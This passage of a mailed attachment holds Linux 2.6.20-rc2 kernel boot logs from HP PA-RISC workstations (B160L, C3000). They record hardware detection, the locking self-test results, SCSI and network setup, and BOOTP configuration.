   8regs     :    45.000 MB/sec
   8regs_prefetch:    45.000 MB/sec
   32regs    :    73.000 MB/sec
   32regs_prefetch:    73.000 MB/sec
raid5: using function: 32regs_prefetch (73.000 MB/sec)
device-mapper: ioctl: 4.11.0-ioctl (2006-10-12) initialised: dm-devel@redhat.com
TCP cubic registered
NET: Registered protocol family 1
NET: Registered protocol family 17
rtc-test rtc-test.0: setting the system clock to 2101-08-02 02:46:25 (4152393985)
eth0: link ok.
Sending BOOTP requests . OK
IP-Config: Got BOOTP answer from 192.168.178.50, my address is 192.168.178.64
IP-Config: Complete:
      device=eth0, addr=192.168.178.64, mask=255.255.255.0, gw=192.168.178.1,
     host=pa64, domain=box, nis-domain=(none),
     bootserver=192.168.178.50, rootserver=192.168.178.50, rootpath=
md: Autodetecting RAID arrays.
md: autorun ...
md: ... autorun DONE.
kjournald starting.  Commit interval 5 seconds
EXT3-fs: mounted filesystem with ordered data mode.
VFS: Mounted root (ext3 filesystem) readonly.
Freeing unused kernel memory: 368k freed
Adding 248580k swap on /dev/sda2.  Priority:-1 extents:1 across:248580k
EXT3 FS on sda3, internal journal
NFSD: Using /var/lib/nfs/v4recovery as the NFSv4 state recovery directory
NFSD: starting 90-second grace period

--Boundary-00=_BBskFHj9kJL8sAu
Content-Type: text/plain; charset="iso-8859-1"; name="dmesg-B160L-2620rc2.log"
Content-Transfer-Encoding: 7bit
Content-Disposition: attachment;
	filename="dmesg-B160L-2620rc2.log"

Linux version 2.6.20-rc2 (root@p100) (gcc version 3.3.4 (Debian 1:3.3.4-11)) #137 Tue Dec 26 01:35:03 CET 2006
FP[0] enabled: Rev 1 Model 15
The 32-bit Kernel has started...
Initialized PDC Console for debugging.
Determining PDC firmware type: System Map.
model 00005020 00000481 00000000 02020202 7794d7fe 100000f0 00000004 000000ba 000000ba
vers  00000008
CPUID vers 15 rev 8 (0x000001e8)
capabilities 0x2
model 9000/778/B160L
Total Memory: 512 MB
On node 0 totalpages: 131072
  DMA zone: 1024 pages used for memmap
  DMA zone: 0 pages reserved
  DMA zone: 130048 pages, LIFO batch:31
  Normal zone: 0 pages used for memmap
LED display at f0190001 registered
Built 1 zonelists.  Total pages: 130048
Kernel command line: HOME=/ root=/dev/sda3 ip=bootp console=ttyS0 TERM=vt102 palo_kernel=0/vmlinux
PID hash table entries: 2048 (order: 11, 8192 bytes)
Console: colour dummy device 128x48
------------------------
| Locking API testsuite:
----------------------------------------------------------------------------
                                 | spin |wlock |rlock |mutex | wsem | rsem |
  --------------------------------------------------------------------------
                     A-A deadlock:failed|failed|  ok  |failed|failed|failed|
                 A-B-B-A deadlock:failed|failed|  ok  |failed|failed|failed|
             A-B-B-C-C-A deadlock:failed|failed|  ok  |failed|failed|failed|
             A-B-C-A-B-C deadlock:failed|failed|  ok  |failed|failed|failed|
         A-B-B-C-C-D-D-A deadlock:failed|failed|  ok  |failed|failed|failed|
         A-B-C-D-B-D-D-A deadlock:failed|failed|  ok  |failed|failed|failed|
         A-B-C-D-B-C-D-A deadlock:failed|failed|  ok  |failed|failed|failed|
                    double unlock:  ok  |  ok  |failed|  ok  |failed|failed|
                  initialize held:failed|failed|failed|failed|failed|failed|
                 bad unlock order:  ok  |  ok  |  ok  |  ok  |  ok  |  ok  |
  --------------------------------------------------------------------------
              recursive read-lock:             |  ok  |             |failed|
           recursive read-lock #2:             |  ok  |             |failed|
            mixed read-write-lock:             |failed|             |failed|
            mixed write-read-lock:             |failed|             |failed|
  --------------------------------------------------------------------------
     hard-irqs-on + irq-safe-A/12:failed|failed|  ok  |
     soft-irqs-on + irq-safe-A/12:failed|failed|  ok  |
     hard-irqs-on + irq-safe-A/21:failed|failed|  ok  |
     soft-irqs-on + irq-safe-A/21:failed|failed|  ok  |
       sirq-safe-A => hirqs-on/12:failed|failed|  ok  |
       sirq-safe-A => hirqs-on/21:failed|failed|  ok  |
         hard-safe-A + irqs-on/12:failed|failed|  ok  |
         soft-safe-A + irqs-on/12:failed|failed|  ok  |
         hard-safe-A + irqs-on/21:failed|failed|  ok  |
         soft-safe-A + irqs-on/21:failed|failed|  ok  |
    hard-safe-A + unsafe-B #1/123:failed|failed|  ok  |
    soft-safe-A + unsafe-B #1/123:failed|failed|  ok  |
    hard-safe-A + unsafe-B #1/132:failed|failed|  ok  |
    soft-safe-A + unsafe-B #1/132:failed|failed|  ok  |
    hard-safe-A + unsafe-B #1/213:failed|failed|  ok  |
    soft-safe-A + unsafe-B #1/213:failed|failed|  ok  |
    hard-safe-A + unsafe-B #1/231:failed|failed|  ok  |
    soft-safe-A + unsafe-B #1/231:failed|failed|  ok  |
    hard-safe-A + unsafe-B #1/312:failed|failed|  ok  |
    soft-safe-A + unsafe-B #1/312:failed|failed|  ok  |
    hard-safe-A + unsafe-B #1/321:failed|failed|  ok  |
    soft-safe-A + unsafe-B #1/321:failed|failed|  ok  |
    hard-safe-A + unsafe-B #2/123:failed|failed|  ok  |
    soft-safe-A + unsafe-B #2/123:failed|failed|  ok  |
    hard-safe-A + unsafe-B #2/132:failed|failed|  ok  |
    soft-safe-A + unsafe-B #2/132:failed|failed|  ok  |
    hard-safe-A + unsafe-B #2/213:failed|failed|  ok  |
    soft-safe-A + unsafe-B #2/213:failed|failed|  ok  |
    hard-safe-A + unsafe-B #2/231:failed|failed|  ok  |
    soft-safe-A + unsafe-B #2/231:failed|failed|  ok  |
    hard-safe-A + unsafe-B #2/312:failed|failed|  ok  |
    soft-safe-A + unsafe-B #2/312:failed|failed|  ok  |
    hard-safe-A + unsafe-B #2/321:failed|failed|  ok  |
    soft-safe-A + unsafe-B #2/321:failed|failed|  ok  |
      hard-irq lock-inversion/123:failed|failed|  ok  |
      soft-irq lock-inversion/123:failed|failed|  ok  |
      hard-irq lock-inversion/132:failed|failed|  ok  |
      soft-irq lock-inversion/132:failed|failed|  ok  |
      hard-irq lock-inversion/213:failed|failed|  ok  |
      soft-irq lock-inversion/213:failed|failed|  ok  |
      hard-irq lock-inversion/231:failed|failed|  ok  |
      soft-irq lock-inversion/231:failed|failed|  ok  |
      hard-irq lock-inversion/312:failed|failed|  ok  |
      soft-irq lock-inversion/312:failed|failed|  ok  |
      hard-irq lock-inversion/321:failed|failed|  ok  |
      soft-irq lock-inversion/321:failed|failed|  ok  |
      hard-irq read-recursion/123:  ok  |
      soft-irq read-recursion/123:  ok  |
      hard-irq read-recursion/132:  ok  |
      soft-irq read-recursion/132:  ok  |
      hard-irq read-recursion/213:  ok  |
      soft-irq read-recursion/213:  ok  |
      hard-irq read-recursion/231:  ok  |
      soft-irq read-recursion/231:  ok  |
      hard-irq read-recursion/312:  ok  |
      soft-irq read-recursion/312:  ok  |
      hard-irq read-recursion/321:  ok  |
      soft-irq read-recursion/321:  ok  |
--------------------------------------------------------
142 out of 218 testcases failed, as expected. |
----------------------------------------------------
Dentry cache hash table entries: 65536 (order: 6, 262144 bytes)
Inode-cache hash table entries: 32768 (order: 5, 131072 bytes)
Memory: 513152k/524288k available (3309k kernel code, 11100k reserved, 1474k data, 368k init)
virtual kernel memory layout:
    vmalloc : 0x00810000 - 0x0f000000   ( 231 MB)
    memory  : 0x10000000 - 0x30000000   ( 512 MB)
      .init : 0x10604000 - 0x10660000   ( 368 kB)
      .data : 0x1043b690 - 0x105ac000   (1474 kB)
      .text : 0x10100000 - 0x1043b690   (3309 kB)
Calibrating delay loop... 106.24 BogoMIPS (lpj=212480)
Mount-cache hash table entries: 512
NET: Registered protocol family 16
EISA bus registered
Searching for devices...
Found devices:
1. Phantom PseudoBC GSC+ Port at 0xffc00000 [8] { 7, 0x0, 0x504, 0x00000 }
2. Dino PCI Bridge at 0xfff80000 [8/0] { 13, 0x3, 0x680, 0x0000a }
3. Merlin+ 132 Dino RS-232 at 0xfff83000 [8/0/63] { 10, 0x0, 0x022, 0x0008c }
4. Merlin 160 Core FW-SCSI at 0xfff8c000 [8/12] { 4, 0x0, 0x03d, 0x00089 }
5. Merlin 160 Core BA at 0xffd00000 [8/16] { 11, 0x0, 0x03d, 0x00081 }, additional addresses: 0xffd0c000 0xffc00000 
6. Merlin 160 Core RS-232 at 0xffd05000 [8/16/4] { 10, 0x0, 0x03d, 0x0008c }
7. Merlin 160 Core SCSI at 0xffd06000 [8/16/5] { 10, 0x0, 0x03d, 0x00082 }
8. Merlin 160 Core LAN (802.3) at 0xffd07000 [8/16/6] { 10, 0x0, 0x03d, 0x0008a }
9. Merlin 160 Core Centronics at 0xffd02000 [8/16/0] { 10, 0x0, 0x03d, 0x00074 }, additional addresses: 0xffd01000 0xffd03000 
10. Merlin 160 Core Audio at 0xffd04000 [8/16/1] { 10, 0x4, 0x03d, 0x0007b }
11. Merlin 160 Core PS/2 Port at 0xffd08000 [8/16/7] { 10, 0x0, 0x03d, 0x00084 }
12. Merlin 160 Core PS/2 Port at 0xffd08100 [8/16/8] { 10, 0x0, 0x03d, 0x00084 }
13. Coral SGC Graphics at 0xfa000000 [8/4] { 10, 0x0, 0x004, 0x00077 }
14. Coral SGC Graphics at 0xf4000000 [8/8] { 10, 0x0, 0x004, 0x00077 }
15. Gecko GSC Core Graphics at 0xf8000000 [8/24] { 10, 0x0, 0x016, 0x00085 }, additional addresses: 0xf0011000 
16. Merlin L2 160 (9000/778/B160L) at 0xfffbe000 [62] { 0, 0x0, 0x502, 0x00004 }
17. Memory at 0xfffbf000 [63] { 1, 0x0, 0x067, 0x00009 }
18. Merlin+ 132 Dino PS/2 Port at 0xfff81000 [1] { 10, 0x0, 0x022, 0x00096 }
Enabling regular chassis codes support v0.05
CPU(s): 1 x PA7300LC (PCX-L2) at 160.000000 MHz
Whole cache flush 25730 cycles, flushing 5636096 bytes 805908 cycles
Setting cache flush threshold to 1000 (1 CPUs online)
Lasi version 0 at 0xffd00000 found.
Dino version 3.1 found at 0xfff80000
Dino: No PCI devices enabled.
SCSI subsystem initialized
libata version 2.00 loaded.
usbcore: registered new interface driver usbfs
usbcore: registered new interface driver hub
usbcore: registered new device driver usb
NET: Registered protocol family 2
IP route cache hash table entries: 16384 (order: 4, 65536 bytes)
TCP established hash table entries: 65536 (order: 8, 1048576 bytes)
TCP bind hash table entries: 32768 (order: 7, 655360 bytes)
TCP: Hash tables configured (established 65536 bind 32768)
TCP reno registered
Enabling PDC chassis warnings support v0.05
unwind_init: start = 0x10530180, end = 0x1056bad0, entries = 15253
Installing knfsd (copyright (C) 1996 okir@monad.swb.de).
io scheduler noop registered
io scheduler anticipatory registered (default)
io scheduler deadline registered
io scheduler cfq registered
PDC Stable Storage facility v0.30
Soft power switch enabled, polling @ 0xf0140000.
STI GSC/PCI core graphics driver Version 0.9a
    id 2bcb015a-9a02587, conforms to spec rev. 8.04
    graphics card name: HPA4071B
    id 2d08c0a7-9a02587, conforms to spec rev. 8.07
    graphics card name: HPA4450AX1024
    id 2d08c0a7-9a02587, conforms to spec rev. 8.07
    graphics card name: INTERNAL_EG_X1024
sticon: Initializing STI text console.
Console: switching to colour STI console 160x64
Console: switching to colour frame buffer device 160x64
fb0: stifb 1280x1024-32 frame buffer device, HPA4071B, id: 2bcb015a, mmio: 0xfa100000
fb1: stifb 1024x768-8 frame buffer device, HPA4450AX1024, id: 2d08c0a7, mmio: 0xf4100000
fb2: stifb 1024x768-8 frame buffer device, INTERNAL_EG_X1024, id: 2d08c0a7, mmio: 0xf8100000
Generic RTC Driver v1.07
Serial: 8250/16550 driver $Revision: 1.90 $ 4 ports, IRQ sharing enabled
8:16:4: ttyS0 at MMIO 0xffd05800 (irq = 16) is a 16550A
8:0:63: ttyS1 at MMIO 0xfff83800 (irq = 22) is a 16550A
parport_init_chip: initialize bidirectional-mode.
parport0: PC-style at 0xffd02800, irq 19 [PCSPP,TRISTATE]
RAMDISK driver initialized: 16 RAM disks of 6144K size 1024 blocksize
loop: loaded (max 8 devices)
LASI 82596 driver - Revision: 1.30
Found i82596 at 0xffd07000, IRQ 18
eth0: 82596 at 0xffd07000, 08 00 09 EF 34 F5 IRQ 18.
orinoco 0.15 (David Gibson <hermes@gibson.dropbear.id.au>, Pavel Roskin <proski@gnu.org>, et al)
orinoco_cs 0.15 (David Gibson <hermes@gibson.dropbear.id.au>, Pavel Roskin <proski@gnu.org>, et al)
spectrum_cs 0.15 (Pavel Roskin <proski@gnu.org>, David Gibson <hermes@gibson.dropbear.id.au>, et al)
Uniform Multi-Platform E-IDE driver Revision: 7.00alpha2
ide: Assuming 50MHz system bus speed for PIO modes; override with idebus=xx
zalon_probe: Zalon version 1, IRQ 67
ncr53c720-0: rev 0xf irq 67
ncr53c720-0: ID 7, Fast-10, Parity Checking, Differential
scsi0 : ncr53c8xx-3.4.3g
scsi 0:0:6:0: Direct-Access     SEAGATE  ST32171W         HP03 PQ: 0 ANSI: 2
 target0:0:6: Beginning Domain Validation
 target0:0:6: asynchronous
 target0:0:6: wide asynchronous
 target0:0:6: FAST-10 WIDE SCSI 20.0 MB/s ST (100 ns, offset 8)
 target0:0:6: Domain Validation skipping write tests
 target0:0:6: Ending Domain Validation
53c700: Version 2.8 By James.Bottomley@HansenPartnership.com
scsi1: 53c710 rev 2 
scsi1 : LASI SCSI 53c700
scsi 1:0:1:0: CD-ROM            PHILIPS  PCA80SC          V3-0 PQ: 0 ANSI: 2
 target1:0:1: Beginning Domain Validation
 target1:0:1: asynchronous
 target1:0:1: FAST-10 SCSI 10.0 MB/s ST (100 ns, offset 8)
 target1:0:1: Domain Validation skipping write tests
 target1:0:1: Ending Domain Validation
st: Version 20061107, fixed bufsize 32768, s/g segs 256
SCSI device sda: 4194685 512-byte hdwr sectors (2148 MB)
sda: Write Protect is off
sda: Mode Sense: 9f 00 10 08
SCSI device sda: write cache: disabled, read cache: enabled, supports DPO and FUA
SCSI device sda: 4194685 512-byte hdwr sectors (2148 MB)
sda: Write Protect is off
sda: Mode Sense: 9f 00 10 08
SCSI device sda: write cache: disabled, read cache: enabled, supports DPO and FUA
 sda: sda1 sda2 sda3
sd 0:0:6:0: Attached scsi disk sda
sr0: scsi-1 drive
Uniform CD-ROM driver Revision: 3.20
sr 1:0:1:0: Attached scsi CD-ROM sr0
sd 0:0:6:0: Attached scsi generic sg0 type 0
sr 1:0:1:0: Attached scsi generic sg1 type 5
usbmon: debugfs is not available
ohci_hcd: 2006 August 04 USB 1.1 'Open' Host Controller (OHCI) Driver (PCI)
USB Universal Host Controller Interface driver v3.0
usbcore: registered new interface driver usbhid
drivers/usb/input/hid-core.c: v2.6:USB HID core driver
serio: GSC PS/2 keyboard port at 0x0081a000 irq 21 @ 8:16:7
serio: GSC PS/2 mouse port at 0x0081c100 irq 21 @ 8:16:8
mice: PS/2 mouse device common for all mice
gscps2.c: timeout - could not write byte 0xed
gscps2.c: sending byte 0xed failed.
gscps2.c: timeout - could not write byte 0xed
gscps2.c: sending byte 0xed failed.
rtc-test rtc-test.0: rtc core: registered test as rtc0
rtc-test rtc-test.1: rtc core: registered test as rtc1
md: linear personality registered for level -1
md: raid0 personality registered for level 0
md: raid1 personality registered for level 1
md: raid10 personality registered for level 10
raid6: int32x1     41 MB/s
raid6: int32x2     68 MB/s
raid6: int32x4     80 MB/s
raid6: int32x8     69 MB/s
raid6: using algorithm int32x4 (80 MB/s)
md: raid6 personality registered for level 6
md: raid5 personality registered for level 5
md: raid4 personality registered for level 4
raid5: measuring checksumming speed
   8regs     :   131.000 MB/sec
   8regs_prefetch:   131.000 MB/sec
   32regs    :   206.000 MB/sec
   32regs_prefetch:   206.000 MB/sec
raid5: using function: 32regs_prefetch (206.000 MB/sec)
device-mapper: ioctl: 4.11.0-ioctl (2006-10-12) initialised: dm-devel@redhat.com
TCP cubic registered
NET: Registered protocol family 1
NET: Registered protocol family 17
rtc-test rtc-test.0: setting the system clock to 1987-01-05 20:01:33 (536875293)
eth0: link ok.
Sending BOOTP requests . OK
IP-Config: Got BOOTP answer from 192.168.178.50, my address is 192.168.178.65
IP-Config: Complete:
      device=eth0, addr=192.168.178.65, mask=255.255.255.0, gw=192.168.178.1,
     host=b160, domain=box, nis-domain=(none),
     bootserver=192.168.178.50, rootserver=192.168.178.50, rootpath=
md: Autodetecting RAID arrays.
md: autorun ...
md: ... autorun DONE.
kjournald starting.  Commit interval 5 seconds
EXT3-fs: mounted filesystem with ordered data mode.
VFS: Mounted root (ext3 filesystem) readonly.
Freeing unused kernel memory: 368k freed
Adding 249232k swap on /dev/sda2.  Priority:-1 extents:1 across:249232k
EXT3 FS on sda3, internal journal

--Boundary-00=_BBskFHj9kJL8sAu
Content-Type: text/plain; charset="iso-8859-1"; name="dmesg-c3000-2620rc2.log"
Content-Transfer-Encoding: 7bit
Content-Disposition: attachment;
	filename="dmesg-c3000-2620rc2.log"

Linux version 2.6.20-rc2 (root@p100) (gcc version 3.3.4 (Debian 1:3.3.4-11)) #137 Tue Dec 26 01:35:03 CET 2006
FP[0] enabled: Rev 1 Model 19
The 32-bit Kernel has started...
Initialized PDC Console for debugging.
Determining PDC firmware type: System Map.
model 00005dc0 00000481 00000000 00000002 777c3e84 100000f0 00000008 000000b2 000000b2
vers  00000301
CPUID vers 19 rev 11 (0x0000026b)
capabilities 0x7
model 9000/785/C3700
Total Memory: 2048 MB
On node 0 totalpages: 524288
  DMA zone: 4096 pages used for memmap
  DMA zone: 0 pages reserved
  DMA zone: 520192 pages, LIFO batch:31
  Normal zone: 0 pages used for memmap
LCD display at f05d0008,f05d0000 registered
Built 1 zonelists.  Total pages: 520192
Kernel command line: HOME=/ root=/dev/sda3 ip=bootp console=ttyS0 TERM=vt102 palo_kernel=0/vmlinux
PID hash table entries: 4096 (order: 12, 16384 bytes)
Console: colour dummy device 128x48
------------------------
| Locking API testsuite:
----------------------------------------------------------------------------
                                 | spin |wlock |rlock |mutex | wsem | rsem |
  --------------------------------------------------------------------------
                     A-A deadlock:failed|failed|  ok  |failed|failed|failed|
                 A-B-B-A deadlock:failed|failed|  ok  |failed|failed|failed|
             A-B-B-C-C-A deadlock:failed|failed|  ok  |failed|failed|failed|
             A-B-C-A-B-C deadlock:failed|failed|  ok  |failed|failed|failed|
         A-B-B-C-C-D-D-A deadlock:failed|failed|  ok  |failed|failed|failed|
         A-B-C-D-B-D-D-A deadlock:failed|failed|  ok  |failed|failed|failed|
         A-B-C-D-B-C-D-A deadlock:failed|failed|  ok  |failed|failed|failed|
                    double unlock:  ok  |  ok  |failed|  ok  |failed|failed|
                  initialize held:failed|failed|failed|failed|failed|failed|
                 bad unlock order:  ok  |  ok  |  ok  |  ok  |  ok  |  ok  |
  --------------------------------------------------------------------------
              recursive read-lock:             |  ok  |             |failed|
           recursive read-lock #2:             |  ok  |             |failed|
            mixed read-write-lock:             |failed|             |failed|
            mixed write-read-lock:             |failed|             |failed|
  --------------------------------------------------------------------------
     hard-irqs-on + irq-safe-A/12:failed|failed|  ok  |
     soft-irqs-on + irq-safe-A/12:failed|failed|  ok  |
     hard-irqs-on + irq-safe-A/21:failed|failed|  ok  |
     soft-irqs-on + irq-safe-A/21:failed|failed|  ok  |
       sirq-safe-A => hirqs-on/12:failed|failed|  ok  |
       sirq-safe-A => hirqs-on/21:failed|failed|  ok  |
         hard-safe-A + irqs-on/12:failed|failed|  ok  |
         soft-safe-A + irqs-on/12:failed|failed|  ok  |
         hard-safe-A + irqs-on/21:failed|failed|  ok  |
         soft-safe-A + irqs-on/21:failed|failed|  ok  |
    hard-safe-A + unsafe-B #1/123:failed|failed|  ok  |
    soft-safe-A + unsafe-B #1/123:failed|failed|  ok  |
    hard-safe-A + unsafe-B #1/132:failed|failed|  ok  |
    soft-safe-A + unsafe-B #1/132:failed|failed|  ok  |
    hard-safe-A + unsafe-B #1/213:failed|failed|  ok  |
    soft-safe-A + unsafe-B #1/213:failed|failed|  ok  |
    hard-safe-A + unsafe-B #1/231:failed|failed|  ok  |
    soft-safe-A + unsafe-B #1/231:failed|failed|  ok  |
    hard-safe-A + unsafe-B #1/312:failed|failed|  ok  |
    soft-safe-A + unsafe-B #1/312:failed|failed|  ok  |
    hard-safe-A + unsafe-B #1/321:failed|failed|  ok  |
    soft-safe-A + unsafe-B #1/321:failed|failed|  ok  |
    hard-safe-A + unsafe-B #2/123:failed|failed|  ok  |
    soft-safe-A + unsafe-B #2/123:failed|failed|  ok  |
    hard-safe-A + unsafe-B #2/132:failed|failed|  ok  |
    soft-safe-A + unsafe-B #2/132:failed|failed|  ok  |
    hard-safe-A + unsafe-B #2/213:failed|failed|  ok  |
    soft-safe-A + unsafe-B #2/213:failed|failed|  ok  |
    hard-safe-A + unsafe-B #2/231:failed|failed|  ok  |
    soft-safe-A + unsafe-B #2/231:failed|failed|  ok  |
    hard-safe-A + unsafe-B #2/312:failed|failed|  ok  |
    soft-safe-A + unsafe-B #2/312:failed|failed|  ok  |
    hard-safe-A + unsafe-B #2/321:failed|failed|  ok  |
    soft-safe-A + unsafe-B #2/321:failed|failed|  ok  |
      hard-irq lock-inversion/123:failed|failed|  ok  |
      soft-irq lock-inversion/123:failed|failed|  ok  |
      hard-irq lock-inversion/132:failed|failed|  ok  |
      soft-irq lock-inversion/132:failed|failed|  ok  |
      hard-irq lock-inversion/213:failed|failed|  ok  |
      soft-irq lock-inversion/213:failed|failed|  ok  |
      hard-irq lock-inversion/231:failed|failed|  ok  |
      soft-irq lock-inversion/231:failed|failed|  ok  |
      hard-irq lock-inversion/312:failed|failed|  ok  |
      soft-irq lock-inversion/312:failed|failed|  ok  |
      hard-irq lock-inversion/321:failed|failed|  ok  |
      soft-irq lock-inversion/321:failed|failed|  ok  |
      hard-irq read-recursion/123:  ok  |
      soft-irq read-recursion/123:  ok  |
      hard-irq read-recursion/132:  ok  |
      soft-irq read-recursion/132:  ok  |
      hard-irq read-recursion/213:  ok  |
      soft-irq read-recursion/213:  ok  |
      hard-irq read-recursion/231:  ok  |
      soft-irq read-recursion/231:  ok  |
      hard-irq read-recursion/312:  ok  |
      soft-irq read-recursion/312:  ok  |
      hard-irq read-recursion/321:  ok  |
      soft-irq read-recursion/321:  ok  |
--------------------------------------------------------
142 out of 218 testcases failed, as expected. |
----------------------------------------------------
Dentry cache hash table entries: 262144 (order: 8, 1048576 bytes)
Inode-cache hash table entries: 131072 (order: 7, 524288 bytes)
Memory: 2069376k/2097152k available (3309k kernel code, 27680k reserved, 1474k data, 368k init)
virtual kernel memory layout:
    vmalloc : 0x00008000 - 0x0f000000   ( 239 MB)
    memory  : 0x10000000 - 0x90000000   (2048 MB)
      .init : 0x10604000 - 0x10660000   ( 368 kB)
      .data : 0x1043b690 - 0x105ac000   (1474 kB)
      .text : 0x10100000 - 0x1043b690   (3309 kB)
Calibrating delay loop... 1495.04 BogoMIPS (lpj=2990080)
Mount-cache hash table entries: 512
NET: Registered protocol family 16
EISA bus registered
Searching for devices...
Found devices:
1. Astro BC Runway Port at 0xfed00000 [10] { 12, 0x0, 0x582, 0x0000b }
2. Elroy PCI Bridge at 0xfed30000 [10/0] { 13, 0x0, 0x782, 0x0000a }
3. Elroy PCI Bridge at 0xfed32000 [10/1] { 13, 0x0, 0x782, 0x0000a }
4. Elroy PCI Bridge at 0xfed38000 [10/4] { 13, 0x0, 0x782, 0x0000a }
5. Elroy PCI Bridge at 0xfed3c000 [10/6] { 13, 0x0, 0x782, 0x0000a }
6. Allegro W2 at 0xfffa0000 [32] { 0, 0x0, 0x5dc, 0x00004 }
7. Memory at 0xfed10200 [49] { 1, 0x0, 0x09c, 0x00009 }
Enabling regular chassis codes support v0.05
CPU(s): 1 x PA8700 (PCX-W2) at 750.000000 MHz
Whole cache flush 247082 cycles, flushing 5636096 bytes 1127108 cycles
Setting cache flush threshold to 380 (1 CPUs online)
SBA found Astro 2.1 at 0xfed00000
Elroy version TR4.0 (0x5) found at 0xfed30000
PCI: Enabled native mode for NS87415 (pif=0x8f)
Elroy version TR4.0 (0x5) found at 0xfed32000
iosapic: no IRTE for 0000:01:04.0 (IRQ not connected?)
iosapic: no IRTE for 0000:01:05.0 (IRQ not connected?)
Elroy version TR4.0 (0x5) found at 0xfed38000
Elroy version TR4.0 (0x5) found at 0xfed3c000
iosapic: hpa not registered for 0000:03:02.0
SCSI subsystem initialized
libata version 2.00 loaded.
usbcore: registered new interface driver usbfs
usbcore: registered new interface driver hub
usbcore: registered new device driver usb
NET: Registered protocol family 2
IP route cache hash table entries: 65536 (order: 6, 262144 bytes)
TCP established hash table entries: 262144 (order: 10, 4194304 bytes)
TCP bind hash table entries: 65536 (order: 8, 1310720 bytes)
TCP: Hash tables configured (established 262144 bind 65536)
TCP reno registered
Enabling PDC chassis warnings support v0.05
unwind_init: start = 0x10530180, end = 0x1056bad0, entries = 15253
Installing knfsd (copyright (C) 1996 okir@monad.swb.de).
io scheduler noop registered
io scheduler anticipatory registered (default)
io scheduler deadline registered
io scheduler cfq registered
SuperIO: Found NS87560 Legacy I/O device at 0000:00:0e.1 (IRQ 67) 
SuperIO: Serial port 1 at 0x3f8
SuperIO: Serial port 2 at 0x2f8
SuperIO: Parallel port at 0x378
SuperIO: Floppy controller at 0x3f0
SuperIO: ACPI at 0x7e0
SuperIO: USB regulator enabled
PDC Stable Storage facility v0.30
Soft power switch enabled, polling @ 0xf0400804.
STI GSC/PCI core graphics driver Version 0.9a
STI PCI graphic ROM found at f2400000 (64 kB), fb at f8000000 (32 MB)
    id 2d08c0a7-9a02587, conforms to spec rev. 8.0a
    graphics card name: PCI_GRAFFITIX1024
STI PCI graphic ROM found at f3800000 (2048 kB), fb at f6000000 (32 MB)
    id 35acda30-9a02587, conforms to spec rev. 8.0d
    graphics card name: A1262A
sticon: Initializing STI text console.
Console: switching to colour STI console 128x48
Console: switching to colour frame buffer device 128x48
fb0: stifb 1024x768-8 frame buffer device, PCI_GRAFFITIX1024, id: 2d08c0a7, mmio: 0xf8100000
stifb: 'A1262A' (id: 0x35acda30) not supported.
Generic RTC Driver v1.07
Serial: 8250/16550 driver $Revision: 1.90 $ 4 ports, IRQ sharing enabled
serial8250: ttyS0 at I/O 0x3f8 (irq = 3) is a 16550A
serial8250: ttyS1 at I/O 0x2f8 (irq = 4) is a 16550A
RAMDISK driver initialized: 16 RAM disks of 6144K size 1024 blocksize
loop: loaded (max 8 devices)
orinoco 0.15 (David Gibson <hermes@gibson.dropbear.id.au>, Pavel Roskin <proski@gnu.org>, et al)
orinoco_cs 0.15 (David Gibson <hermes@gibson.dropbear.id.au>, Pavel Roskin <proski@gnu.org>, et al)
spectrum_cs 0.15 (Pavel Roskin <proski@gnu.org>, David Gibson <hermes@gibson.dropbear.id.au>, et al)
Linux Tulip driver version 1.1.14 (May 11, 2002)
tulip0: no phy info, aborting mtable build
tulip0:  MII transceiver #1 config 1000 status 782d advertising 01e1.
eth0: Digital DS21142/43 Tulip rev 65 at Port 0x1000, 00:30:6E:48:AA:64, IRQ 65.
tulip1:  EEPROM default media type Autosense.
tulip1:  Index #0 - Media MII (#11) described by a 21142 MII PHY (3) block.
tulip1:  Index #1 - Media 10base2 (#1) described by a 21142 Serial PHY (2) block.
tulip1:  Index #2 - Media AUI (#2) described by a 21142 Serial PHY (2) block.
tulip1:  MII transceiver #1 config 3100 status 7849 advertising 0101.
tulip1:  Advertising 01e1 on PHY 1, previously advertising 0101.
eth1: Digital DS21142/43 Tulip rev 33 at Port 0x28000, 00:60:B0:7A:12:89, IRQ 71.
Uniform Multi-Platform E-IDE driver Revision: 7.00alpha2
ide: Assuming 33MHz system bus speed for PIO modes; override with idebus=xx
NS87415: IDE controller at PCI slot 0000:00:0e.0
NS87415: chipset revision 3
NS87415: 100% native mode on irq 7
    ide0: BM-DMA at 0x0a00-0x0a07, BIOS settings: hda:DMA, hdb:DMA
    ide1: BM-DMA at 0x0a08-0x0a0f, BIOS settings: hdc:DMA, hdd:DMA
Probing IDE interface ide0...
hda: CD-532E-B, ATAPI CD/DVD-ROM drive
ide0 at 0xf00-0xf07,0xe02 on irq 7
Probing IDE interface ide1...
Probing IDE interface ide1...
hda: ATAPI 32X CD-ROM drive, 128kB Cache
Uniform CD-ROM driver Revision: 3.20
sym0: <896> rev 0x7 at pci 0000:00:0f.0 irq 68
sym0: PA-RISC Firmware, ID 7, Fast-40, SE, parity checking
sym0: SCSI BUS has been reset.
sym0: SCSI BUS mode change from SE to SE.
sym0: SCSI BUS has been reset.
scsi0 : sym-2.2.3
sym1: <896> rev 0x7 at pci 0000:00:0f.1 irq 68
sym1: PA-RISC Firmware, ID 7, Fast-40, LVD, parity checking
sym1: SCSI BUS has been reset.
scsi1 : sym-2.2.3
scsi 1:0:5:0: Direct-Access     SEAGATE  ST39102LC        HP01 PQ: 0 ANSI: 2
 target1:0:5: tagged command queuing enabled, command queue depth 16.
 target1:0:5: Beginning Domain Validation
 target1:0:5: asynchronous
 target1:0:5: wide asynchronous
 target1:0:5: FAST-40 WIDE SCSI 80.0 MB/s ST (25 ns, offset 15)
 target1:0:5: Domain Validation skipping write tests
 target1:0:5: Ending Domain Validation
scsi 1:0:6:0: Direct-Access     HP 36.4G ST336607LC       HPC3 PQ: 0 ANSI: 3
 target1:0:6: tagged command queuing enabled, command queue depth 16.
 target1:0:6: Beginning Domain Validation
 target1:0:6: asynchronous
 target1:0:6: wide asynchronous
 target1:0:6: FAST-40 WIDE SCSI 80.0 MB/s ST (25 ns, offset 31)
 target1:0:6: Domain Validation skipping write tests
 target1:0:6: Ending Domain Validation
st: Version 20061107, fixed bufsize 32768, s/g segs 256
SCSI device sda: 17773524 512-byte hdwr sectors (9100 MB)
sda: Write Protect is off
sda: Mode Sense: 9f 00 10 08
SCSI device sda: write cache: disabled, read cache: enabled, supports DPO and FUA
SCSI device sda: 17773524 512-byte hdwr sectors (9100 MB)
sda: Write Protect is off
sda: Mode Sense: 9f 00 10 08
